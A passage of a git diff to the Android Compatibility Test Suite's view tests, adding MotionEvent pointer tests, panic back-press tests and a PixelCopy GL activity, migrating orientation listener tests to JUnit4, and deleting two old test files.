+                    that.getHistoricalAxisValue(MotionEvent.AXIS_SIZE, pointerIndex, position),
+                    this.size, DELTA);
+
+            assertEquals("Touch major should be the same",
+                    that.getHistoricalTouchMajor(pointerIndex, position), this.touchMajor, DELTA);
+            assertEquals("Touch major should be the same",
+                    that.getHistoricalAxisValue(MotionEvent.AXIS_TOUCH_MAJOR,
+                            pointerIndex, position),
+                    this.touchMajor, DELTA);
+
+            assertEquals("Touch minor should be the same",
+                    that.getHistoricalTouchMinor(pointerIndex, position), this.touchMinor, DELTA);
+            assertEquals("Touch minor should be the same",
+                    that.getHistoricalAxisValue(MotionEvent.AXIS_TOUCH_MINOR,
+                            pointerIndex, position),
+                    this.touchMinor, DELTA);
+
+            assertEquals("Tool major should be the same",
+                    that.getHistoricalToolMajor(pointerIndex, position), this.toolMajor, DELTA);
+            assertEquals("Tool major should be the same",
+                    that.getHistoricalAxisValue(MotionEvent.AXIS_TOOL_MAJOR,
+                            pointerIndex, position),
+                    this.toolMajor, DELTA);
+
+            assertEquals("Tool minor should be the same",
+                    that.getHistoricalToolMinor(pointerIndex, position), this.toolMinor, DELTA);
+            assertEquals("Tool minor should be the same",
+                    that.getHistoricalAxisValue(MotionEvent.AXIS_TOOL_MINOR,
+                            pointerIndex, position),
+                    this.toolMinor, DELTA);
+
+            assertEquals("Orientation should be the same",
+                    that.getHistoricalOrientation(pointerIndex, position), this.orientation, DELTA);
+            assertEquals("Orientation should be the same",
+                    that.getHistoricalAxisValue(MotionEvent.AXIS_ORIENTATION,
+                            pointerIndex, position),
+                    this.orientation, DELTA);
+        }
+
+        public void verifyMatchesPointerCoords(PointerCoords that) {
+            assertEquals("X coordinates should be the same", that.x, this.x, DELTA);
+            assertEquals("X coordinates should be the same",
+                    that.getAxisValue(MotionEvent.AXIS_X), this.x, DELTA);
+
+            assertEquals("Y coordinates should be the same", that.y, this.y, DELTA);
+            assertEquals("Y coordinates should be the same",
+                    that.getAxisValue(MotionEvent.AXIS_Y), this.y, DELTA);
+
+            assertEquals("Pressure should be the same", that.pressure, this.pressure, DELTA);
+            assertEquals("Pressure should be the same",
+                    that.getAxisValue(MotionEvent.AXIS_PRESSURE), this.pressure, DELTA);
+
+            assertEquals("Size should be the same", that.size, this.size, DELTA);
+            assertEquals("Size should be the same",
+                    that.getAxisValue(MotionEvent.AXIS_SIZE), this.size, DELTA);
+
+            assertEquals("Touch major should be the same", that.touchMajor, this.touchMajor, DELTA);
+            assertEquals("Touch major should be the same",
+                    that.getAxisValue(MotionEvent.AXIS_TOUCH_MAJOR), this.touchMajor, DELTA);
+
+            assertEquals("Touch minor should be the same", that.touchMinor, this.touchMinor, DELTA);
+            assertEquals("Touch minor should be the same",
+                    that.getAxisValue(MotionEvent.AXIS_TOUCH_MINOR), this.touchMinor, DELTA);
+
+            assertEquals("Tool major should be the same", that.toolMajor, this.toolMajor, DELTA);
+            assertEquals("Tool major should be the same",
+                    that.getAxisValue(MotionEvent.AXIS_TOOL_MAJOR), this.toolMajor, DELTA);
+
+            assertEquals("Tool minor should be the same", that.toolMinor, this.toolMinor, DELTA);
+            assertEquals("Tool minor should be the same",
+                    that.getAxisValue(MotionEvent.AXIS_TOOL_MINOR), this.toolMinor, DELTA);
+
+            assertEquals("Orientation should be the same",
+                    that.orientation, this.orientation, DELTA);
+            assertEquals("Orientation should be the same",
+                    that.getAxisValue(MotionEvent.AXIS_ORIENTATION), this.orientation, DELTA);
+        }
+
+        public void verifyMatchesPointerCoords(MotionEvent motionEvent, int pointerIndex) {
+            final PointerCoords that = new PointerCoords();
+            motionEvent.getPointerCoords(pointerIndex, that);
+
+            verifyMatchesPointerCoords(that);
+        }
+
+        public void verifyMatchesHistoricalPointerCoords(MotionEvent motionEvent, int pointerIndex,
+                int pos) {
+            final PointerCoords that = new PointerCoords();
+            motionEvent.getHistoricalPointerCoords(pointerIndex, pos, that);
+
+            verifyMatchesPointerCoords(that);
+        }
+    }
+}
diff --git a/tests/tests/view/src/android/view/cts/MotionEvent_PointerCoordsTest.java b/tests/tests/view/src/android/view/cts/MotionEvent_PointerCoordsTest.java
new file mode 100644
index 0000000..1f3acbb
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/MotionEvent_PointerCoordsTest.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static android.view.cts.MotionEventUtils.withCoords;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.MotionEvent;
+import android.view.cts.MotionEventUtils.PointerCoordsBuilder;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test {@link MotionEvent.PointerCoords}.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class MotionEvent_PointerCoordsTest {
+    private PointerCoordsBuilder mBuilder;
+    private MotionEvent.PointerCoords mPointerCoords;
+
+    @Before
+    public void setup() {
+        mBuilder = withCoords(10.0f, 20.0f).withPressure(1.2f).withSize(2.0f).withTool(1.2f, 1.4f).
+                withTouch(3.0f, 2.4f);
+        mPointerCoords = mBuilder.build();
+    }
+
+    @Test
+    public void testCreation() {
+        mBuilder.verifyMatchesPointerCoords(mPointerCoords);
+    }
+
+    @Test
+    public void testAxesModifications() {
+        // Change value of X
+        mPointerCoords.setAxisValue(MotionEvent.AXIS_X, 15.0f);
+        withCoords(15.0f, 20.0f).withPressure(1.2f).withSize(2.0f).withTool(1.2f, 1.4f).
+                withTouch(3.0f, 2.4f).verifyMatchesPointerCoords(mPointerCoords);
+
+        // Change value of Y
+        mPointerCoords.setAxisValue(MotionEvent.AXIS_Y, 25.0f);
+        withCoords(15.0f, 25.0f).withPressure(1.2f).withSize(2.0f).withTool(1.2f, 1.4f).
+                withTouch(3.0f, 2.4f).verifyMatchesPointerCoords(mPointerCoords);
+
+        // Change value of pressure
+        mPointerCoords.setAxisValue(MotionEvent.AXIS_PRESSURE, 2.2f);
+        withCoords(15.0f, 25.0f).withPressure(2.2f).withSize(2.0f).withTool(1.2f, 1.4f).
+                withTouch(3.0f, 2.4f).verifyMatchesPointerCoords(mPointerCoords);
+
+        // Change value of size
+        mPointerCoords.setAxisValue(MotionEvent.AXIS_SIZE, 10.0f);
+        withCoords(15.0f, 25.0f).withPressure(2.2f).withSize(10.0f).withTool(1.2f, 1.4f).
+                withTouch(3.0f, 2.4f).verifyMatchesPointerCoords(mPointerCoords);
+
+        // Change value of tool major
+        mPointerCoords.setAxisValue(MotionEvent.AXIS_TOOL_MAJOR, 7.0f);
+        withCoords(15.0f, 25.0f).withPressure(2.2f).withSize(10.0f).withTool(7.0f, 1.4f).
+                withTouch(3.0f, 2.4f).verifyMatchesPointerCoords(mPointerCoords);
+
+        // Change value of tool minor
+        mPointerCoords.setAxisValue(MotionEvent.AXIS_TOOL_MINOR, 2.0f);
+        withCoords(15.0f, 25.0f).withPressure(2.2f).withSize(10.0f).withTool(7.0f, 2.0f).
+                withTouch(3.0f, 2.4f).verifyMatchesPointerCoords(mPointerCoords);
+
+        // Change value of tool major
+        mPointerCoords.setAxisValue(MotionEvent.AXIS_TOUCH_MAJOR, 5.0f);
+        withCoords(15.0f, 25.0f).withPressure(2.2f).withSize(10.0f).withTool(7.0f, 2.0f).
+                withTouch(5.0f, 2.4f).verifyMatchesPointerCoords(mPointerCoords);
+
+        // Change value of tool minor
+        mPointerCoords.setAxisValue(MotionEvent.AXIS_TOUCH_MINOR, 2.1f);
+        withCoords(15.0f, 25.0f).withPressure(2.2f).withSize(10.0f).withTool(7.0f, 2.0f).
+                withTouch(5.0f, 2.1f).verifyMatchesPointerCoords(mPointerCoords);
+    }
+
+    @Test
+    public void testCopyFrom() {
+        final MotionEvent.PointerCoords pointerCoords = new MotionEvent.PointerCoords();
+        pointerCoords.copyFrom(mPointerCoords);
+        mBuilder.verifyMatchesPointerCoords(pointerCoords);
+    }
+
+    @Test
+    public void testClear() {
+        mPointerCoords.clear();
+        withCoords(0.0f, 0.0f).withPressure(0.0f).withSize(0.0f).withTool(0.0f, 0.0f).
+                withTouch(0.0f, 0.0f).verifyMatchesPointerCoords(mPointerCoords);
+    }
+}
diff --git a/tests/tests/view/src/android/view/cts/MotionEvent_PointerPropertiesTest.java b/tests/tests/view/src/android/view/cts/MotionEvent_PointerPropertiesTest.java
new file mode 100644
index 0000000..ac05c1c
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/MotionEvent_PointerPropertiesTest.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static android.view.cts.MotionEventUtils.withProperties;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.MotionEvent;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test {@link MotionEvent.PointerProperties}.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class MotionEvent_PointerPropertiesTest {
+    private MotionEventUtils.PointerPropertiesBuilder mBuilder;
+    private MotionEvent.PointerProperties mPointerProperties;
+
+    @Before
+    public void setup() {
+        mBuilder = withProperties(3, MotionEvent.TOOL_TYPE_MOUSE);
+        mPointerProperties = mBuilder.build();
+    }
+
+    @Test
+    public void testCreation() {
+        mBuilder.verifyMatchesPointerProperties(mPointerProperties);
+    }
+
+    @Test
+    public void testCopyFrom() {
+        final MotionEvent.PointerProperties pointerProperties = new MotionEvent.PointerProperties();
+        pointerProperties.copyFrom(mPointerProperties);
+        mBuilder.verifyMatchesPointerProperties(pointerProperties);
+    }
+
+    @Test
+    public void testClear() {
+        mPointerProperties.clear();
+        withProperties(MotionEvent.INVALID_POINTER_ID, MotionEvent.TOOL_TYPE_UNKNOWN).
+                verifyMatchesPointerProperties(mPointerProperties);
+    }
+}
diff --git a/tests/tests/view/src/android/view/cts/MyScrollView.java b/tests/tests/view/src/android/view/cts/MyScrollView.java
deleted file mode 100644
index 3701ab0..0000000
--- a/tests/tests/view/src/android/view/cts/MyScrollView.java
+++ /dev/null
@@ -1,69 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.view.cts;
-
-import android.content.Context;
-import android.graphics.Rect;
-import android.util.AttributeSet;
-import android.view.View;
-import android.widget.ScrollView;
-
-public class MyScrollView extends ScrollView {
-    public MyScrollView(Context context) {
-        super(context);
-    }
-
-    public MyScrollView(Context context, AttributeSet attrs) {
-        super(context, attrs);
-    }
-
-    public MyScrollView(Context context, AttributeSet attrs, int defStyle) {
-        super(context, attrs, defStyle);
-    }
-
-    @Override
-    protected int computeScrollDeltaToGetChildRectOnScreen(Rect rect) {
-        return super.computeScrollDeltaToGetChildRectOnScreen(rect);
-    }
-
-    @Override
-    protected int computeVerticalScrollRange() {
-        return super.computeVerticalScrollRange();
-    }
-
-    @Override
-    protected float getBottomFadingEdgeStrength() {
-        return super.getBottomFadingEdgeStrength();
-    }
-
-    @Override
-    protected float getTopFadingEdgeStrength() {
-        return super.getTopFadingEdgeStrength();
-    }
-
-    @Override
-    protected void measureChild(View c, int pWidthMeasureSpec, int pHeightMeasureSpec) {
-        super.measureChild(c, pWidthMeasureSpec, pHeightMeasureSpec);
-    }
-
-    @Override
-    protected void measureChildWithMargins(View child, int parentWidthMeasureSpec, int widthUsed,
-            int parentHeightMeasureSpec, int heightUsed) {
-        super.measureChildWithMargins(child, parentWidthMeasureSpec, widthUsed,
-                parentHeightMeasureSpec, heightUsed);
-    }
-}
diff --git a/tests/tests/view/src/android/view/cts/NumberPickerTest.java b/tests/tests/view/src/android/view/cts/NumberPickerTest.java
deleted file mode 100644
index 2e2733e..0000000
--- a/tests/tests/view/src/android/view/cts/NumberPickerTest.java
+++ /dev/null
@@ -1,42 +0,0 @@
-/*
- * Copyright (C) 2012 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-package android.view.cts;
-
-import android.test.AndroidTestCase;
-import android.widget.NumberPicker;
-
-public class NumberPickerTest extends AndroidTestCase {
-
-    public void testSetDisplayedValues1() throws Exception {
-        NumberPicker numberPicker = new NumberPicker(getContext());
-        numberPicker.setMinValue(10);
-        numberPicker.setMaxValue(12);
-        numberPicker.setDisplayedValues(new String[]{"One", "Two", "Three"});
-    }
-
-    public void testSetDisplayedValues2() throws Exception {
-        NumberPicker numberPicker = new NumberPicker(getContext());
-        numberPicker.setMinValue(10);
-        numberPicker.setMaxValue(14);
-        try {
-            numberPicker.setDisplayedValues(new String[]{"One", "Two", "Three"});
-            fail("The size of the displayed values array must be equal to the selectable numbers!");
-        } catch (Exception e) {
-            /* expected */
-        }
-    }
-}
diff --git a/tests/tests/view/src/android/view/cts/OrientationEventListenerTest.java b/tests/tests/view/src/android/view/cts/OrientationEventListenerTest.java
index f5062ff..c163440 100644
--- a/tests/tests/view/src/android/view/cts/OrientationEventListenerTest.java
+++ b/tests/tests/view/src/android/view/cts/OrientationEventListenerTest.java
@@ -16,44 +16,63 @@
 
 package android.view.cts;
 
+import static org.junit.Assert.assertEquals;
 
 import android.content.Context;
 import android.hardware.Sensor;
 import android.hardware.SensorManager;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.OrientationEventListener;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 /**
  * Test {@link OrientationEventListener}.
  */
-public class OrientationEventListenerTest extends AndroidTestCase {
-    public void testConstructor() {
-        new MockOrientationEventListener(mContext);
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class OrientationEventListenerTest {
+    private Context mContext;
 
-        new MockOrientationEventListener(mContext, SensorManager.SENSOR_DELAY_UI);
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
     }
 
+    @Test
+    public void testConstructor() {
+        new MyOrientationEventListener(mContext);
+
+        new MyOrientationEventListener(mContext, SensorManager.SENSOR_DELAY_UI);
+    }
+
+    @Test
     public void testEnableAndDisable() {
-        MockOrientationEventListener listener = new MockOrientationEventListener(mContext);
+        MyOrientationEventListener listener = new MyOrientationEventListener(mContext);
         listener.enable();
         listener.disable();
     }
 
+    @Test
     public void testCanDetectOrientation() {
         SensorManager sm = (SensorManager)mContext.getSystemService(Context.SENSOR_SERVICE);
         // Orientation can only be detected if there is an accelerometer
         boolean hasSensor = (sm.getDefaultSensor(Sensor.TYPE_ACCELEROMETER) != null);
-        
-        MockOrientationEventListener listener = new MockOrientationEventListener(mContext);
+
+        MyOrientationEventListener listener = new MyOrientationEventListener(mContext);
         assertEquals(hasSensor, listener.canDetectOrientation());
     }
 
-    private static class MockOrientationEventListener extends OrientationEventListener {
-        public MockOrientationEventListener(Context context) {
+    private static class MyOrientationEventListener extends OrientationEventListener {
+        public MyOrientationEventListener(Context context) {
             super(context);
         }
 
-        public MockOrientationEventListener(Context context, int rate) {
+        public MyOrientationEventListener(Context context, int rate) {
             super(context, rate);
         }
 
diff --git a/tests/tests/view/src/android/view/cts/OrientationListenerTest.java b/tests/tests/view/src/android/view/cts/OrientationListenerTest.java
index 114cf5f..696f034 100644
--- a/tests/tests/view/src/android/view/cts/OrientationListenerTest.java
+++ b/tests/tests/view/src/android/view/cts/OrientationListenerTest.java
@@ -16,30 +16,38 @@
 
 package android.view.cts;
 
-
 import android.content.Context;
 import android.hardware.SensorManager;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.OrientationListener;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 /**
  * Test {@link OrientationListener}.
  */
-public class OrientationListenerTest extends AndroidTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class OrientationListenerTest {
     private Context mContext;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContext = getContext();
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
     }
 
+    @Test
     public void testConstructor() {
         new MockOrientationListener(mContext);
 
         new MockOrientationListener(mContext, SensorManager.SENSOR_DELAY_UI);
     }
 
+    @Test
     public void testRegisterationOfOrientationListener() {
         // these methods are called to assure that no exception is thrown
         MockOrientationListener listener = new MockOrientationListener(mContext);
@@ -47,6 +55,7 @@
         listener.enable();
     }
 
+    @Test
     public void testOnAccuracyChanged() {
         // this method is called to assure that no exception is thrown
         new MockOrientationListener(mContext).onAccuracyChanged(SensorManager.SENSOR_ACCELEROMETER,
@@ -56,6 +65,7 @@
                 SensorManager.SENSOR_STATUS_ACCURACY_MEDIUM);
     }
 
+    @Test
     public void testOnSensorChanged() {
         // this method is called to assure that no exception is thrown
         MockOrientationListener listener = new MockOrientationListener(mContext);
@@ -69,11 +79,11 @@
         mockData[SensorManager.RAW_DATA_X] = 4.0f;
         mockData[SensorManager.RAW_DATA_Y] = 4.0f;
         mockData[SensorManager.RAW_DATA_Z] = 5.0f * 2.0f;
-        listener.reset();
         new MockOrientationListener(mContext).onSensorChanged(SensorManager.SENSOR_MAGNETIC_FIELD,
                 mockData);
     }
 
+    @Test
     public void testOnOrientationChanged() {
         MockOrientationListener listener = new MockOrientationListener(mContext);
         listener.enable();
@@ -81,16 +91,6 @@
     }
 
     private class MockOrientationListener extends OrientationListener {
-        private boolean mHasCalledOnOrientationChanged;
-
-        public boolean hasCalledOnOrientationChanged() {
-            return mHasCalledOnOrientationChanged;
-        }
-
-        public void reset() {
-            mHasCalledOnOrientationChanged = false;
-        }
-
         public MockOrientationListener(Context context) {
             super(context);
         }
@@ -101,7 +101,6 @@
 
         @Override
         public void onOrientationChanged(int orientation) {
-            mHasCalledOnOrientationChanged = true;
         }
     }
 }
diff --git a/tests/tests/view/src/android/view/cts/PanicPressBackActivity.java b/tests/tests/view/src/android/view/cts/PanicPressBackActivity.java
new file mode 100644
index 0000000..bb52491
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/PanicPressBackActivity.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import android.app.Activity;
+
+import java.util.concurrent.CountDownLatch;
+
+public class PanicPressBackActivity extends Activity {
+
+    private boolean mWasPaused;
+
+    public final CountDownLatch mWaitForPanicBackLatch = new CountDownLatch(1);
+
+    @Override
+    public void onBackPressed() {
+        // Prevent back press from exiting app
+    }
+
+    @Override
+    public void onPause() {
+        mWaitForPanicBackLatch.countDown();
+        super.onPause();
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/view/src/android/view/cts/PanicPressBackTest.java b/tests/tests/view/src/android/view/cts/PanicPressBackTest.java
new file mode 100644
index 0000000..8a0bf31
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/PanicPressBackTest.java
@@ -0,0 +1,116 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static junit.framework.TestCase.assertFalse;
+import static junit.framework.TestCase.assertTrue;
+
+import android.app.UiAutomation;
+import android.content.pm.PackageManager;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.KeyEvent;
+import android.view.ViewConfiguration;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class PanicPressBackTest {
+    static final String TAG = "PanicPressBackTest";
+
+    @Rule
+    public ActivityTestRule<PanicPressBackActivity> mActivityRule =
+            new ActivityTestRule<>(PanicPressBackActivity.class);
+
+    private static final int PANIC_PRESS_COUNT = 4;
+    private PanicPressBackActivity mActivity;
+
+    @Before
+    public void setUp() {
+        mActivity = mActivityRule.getActivity();
+    }
+
+    /**
+     * Tests to ensure that the foregrounded app does not handle back button panic press on
+     * non-watch devices
+     */
+    @Test
+    public void testNonWatchBackPanicDoesNothing() throws Exception {
+        // Only run for non-watch devices
+        if (mActivity.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH)) {
+            return;
+        }
+
+        final UiAutomation automation = InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation();
+
+        // Press back button PANIC_PRESS_COUNT times
+        long startTime = System.currentTimeMillis();
+        for (int i = 0; i < PANIC_PRESS_COUNT; ++i) {
+            long currentTime = startTime + i;
+            automation.injectInputEvent(new KeyEvent(currentTime, currentTime, KeyEvent.ACTION_DOWN,
+                    KeyEvent.KEYCODE_BACK, 0), true);
+            automation.injectInputEvent(new KeyEvent(currentTime, currentTime, KeyEvent.ACTION_UP,
+                    KeyEvent.KEYCODE_BACK, 0), true);
+        }
+
+        // Wait multi press time out plus some time to give the system time to respond
+        long timeoutMs = ViewConfiguration.getMultiPressTimeout() + TimeUnit.SECONDS.toMillis(1);
+
+        // Assert activity was not stopped, indicating panic press was not able to exit the app
+        assertFalse(mActivity.mWaitForPanicBackLatch.await(timeoutMs, TimeUnit.MILLISECONDS));
+    }
+
+    /**
+     * Tests to ensure that the foregrounded app does handle back button panic press on watch
+     * devices
+     */
+    @Test
+    public void testWatchBackPanicReceivesHomeRequest() throws Exception {
+        // Only run for watch devices
+        if (!mActivity.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH)) {
+            return;
+        }
+
+        final UiAutomation automation = InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation();
+
+        // Press back button PANIC_PRESS_COUNT times
+        long startTime = System.currentTimeMillis();
+        for (int i = 0; i < PANIC_PRESS_COUNT; ++i) {
+            // Assert activity hasn't stopped yet
+            assertFalse(mActivity.mWaitForPanicBackLatch.await(0, TimeUnit.MILLISECONDS));
+            long currentTime = startTime + i;
+            automation.injectInputEvent(new KeyEvent(currentTime, currentTime, KeyEvent.ACTION_DOWN,
+                    KeyEvent.KEYCODE_BACK, 0), true);
+            automation.injectInputEvent(new KeyEvent(currentTime, currentTime, KeyEvent.ACTION_UP,
+                    KeyEvent.KEYCODE_BACK, 0), true);
+        }
+
+        // Wait multi press time out plus some time to give the system time to respond
+        long timeoutMs = ViewConfiguration.getMultiPressTimeout() + TimeUnit.SECONDS.toMillis(1);
+
+        // Assert activity was stopped, indicating that panic press was able to exit the app
+        assertTrue(mActivity.mWaitForPanicBackLatch.await(timeoutMs, TimeUnit.MILLISECONDS));
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/view/src/android/view/cts/PixelCopyGLProducerCtsActivity.java b/tests/tests/view/src/android/view/cts/PixelCopyGLProducerCtsActivity.java
new file mode 100644
index 0000000..b7518a5
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/PixelCopyGLProducerCtsActivity.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static android.opengl.GLES20.GL_COLOR_BUFFER_BIT;
+import static android.opengl.GLES20.GL_SCISSOR_TEST;
+import static android.opengl.GLES20.glClear;
+import static android.opengl.GLES20.glClearColor;
+import static android.opengl.GLES20.glEnable;
+import static android.opengl.GLES20.glScissor;
+
+import android.graphics.Color;
+import android.opengl.GLSurfaceView;
+
+import java.util.concurrent.CountDownLatch;
+
+import javax.microedition.khronos.egl.EGLConfig;
+import javax.microedition.khronos.opengles.GL10;
+
+public class PixelCopyGLProducerCtsActivity extends GLSurfaceViewCtsActivity {
+    private static class QuadColorGLRenderer implements GLSurfaceView.Renderer {
+
+        private final int mTopLeftColor;
+        private final int mTopRightColor;
+        private final int mBottomLeftColor;
+        private final int mBottomRightColor;
+
+        private CountDownLatch mFence;
+
+        private int mWidth, mHeight;
+
+        public QuadColorGLRenderer(int topLeft, int topRight, int bottomLeft, int bottomRight) {
+            mTopLeftColor = topLeft;
+            mTopRightColor = topRight;
+            mBottomLeftColor = bottomLeft;
+            mBottomRightColor = bottomRight;
+        }
+
+        @Override
+        public void onSurfaceCreated(GL10 gl, EGLConfig config) {
+        }
+
+        @Override
+        public void onSurfaceChanged(GL10 gl, int width, int height) {
+            mWidth = width;
+            mHeight = height;
+        }
+
+        @Override
+        public void onDrawFrame(GL10 gl) {
+            int cx = mWidth / 2;
+            int cy = mHeight / 2;
+
+            glEnable(GL_SCISSOR_TEST);
+
+            glScissor(0, cy, cx, mHeight - cy);
+            clearColor(mTopLeftColor);
+
+            glScissor(cx, cy, mWidth - cx, mHeight - cy);
+            clearColor(mTopRightColor);
+
+            glScissor(0, 0, cx, cy);
+            clearColor(mBottomLeftColor);
+
+            glScissor(cx, 0, mWidth - cx, cy);
+            clearColor(mBottomRightColor);
+
+            if (mFence != null) {
+                mFence.countDown();
+            }
+        }
+
+        private void clearColor(int color) {
+            glClearColor(Color.red(color) / 255.0f,
+                    Color.green(color) / 255.0f,
+                    Color.blue(color) / 255.0f,
+                    Color.alpha(color) / 255.0f);
+            glClear(GL_COLOR_BUFFER_BIT);
+        }
+    }
+
+    private QuadColorGLRenderer mRenderer;
+
+    @Override
+    protected void configureGLSurfaceView() {
+        mView.setEGLContextClientVersion(2);
+        mRenderer = new QuadColorGLRenderer(
+                Color.RED, Color.GREEN, Color.BLUE, Color.BLACK);
+        mView.setRenderer(mRenderer);
+        mView.setRenderMode(GLSurfaceView.RENDERMODE_WHEN_DIRTY);
+        mView.getHolder().setFixedSize(100, 100);
+    }
+
+    public void setSwapFence(CountDownLatch swapFence) {
+        mRenderer.mFence = swapFence;
+    }
+}
diff --git a/tests/tests/view/src/android/view/cts/PixelCopyTest.java b/tests/tests/view/src/android/view/cts/PixelCopyTest.java
new file mode 100644
index 0000000..6310ce8
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/PixelCopyTest.java
@@ -0,0 +1,574 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.when;
+
+import android.app.Instrumentation;
+import android.graphics.Bitmap;
+import android.graphics.Bitmap.Config;
+import android.graphics.Color;
+import android.graphics.Rect;
+import android.graphics.SurfaceTexture;
+import android.os.Debug;
